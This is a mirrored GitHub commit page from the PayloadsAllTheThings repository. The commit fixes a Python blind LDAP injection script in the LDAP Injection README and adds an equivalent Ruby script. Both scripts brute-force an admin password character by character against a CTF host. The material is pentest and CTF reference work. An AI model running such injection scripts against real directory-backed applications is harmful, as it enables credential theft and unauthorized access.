Backup_Repos/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings synced 2025-12-06 08:54:40 +01:00
Code Issues Projects Releases Wiki Activity

add ruby script

Browse source
This commit is contained in:
Alexandre ZANNI 2020-02-21 23:49:50 +01:00 committed by GitHub
parent f28f83bda6
commit 3fad2f364c
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

25
LDAP Injection/README.md
View file

@ -136,7 +136,7 @@ flag = ""
for i in range(50): for i in range(50):
print("[i] Looking for number " + str(i)) print("[i] Looking for number " + str(i))
for char in alphabet: for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text): if ("TRUE CONDITION" in r.text):
flag += char flag += char
print("[+] Flag: " + flag) print("[+] Flag: " + flag)
@ -145,6 +145,29 @@ for i in range(50):
Ref. [5][5] Ref. [5][5]
```ruby
#!/usr/bin/env ruby
require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
flag = ''
(0..50).each do |i|
puts("[i] Looking for number #{i}")
alphabet.each do |char|
r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
if /TRUE CONDITION/.match?(r)
flag += char
puts("[+] Flag: #{flag}")
break
end
end
end
```
By [noraj](https://github.com/noraj)
## Google Dorks ## Google Dorks
``` ```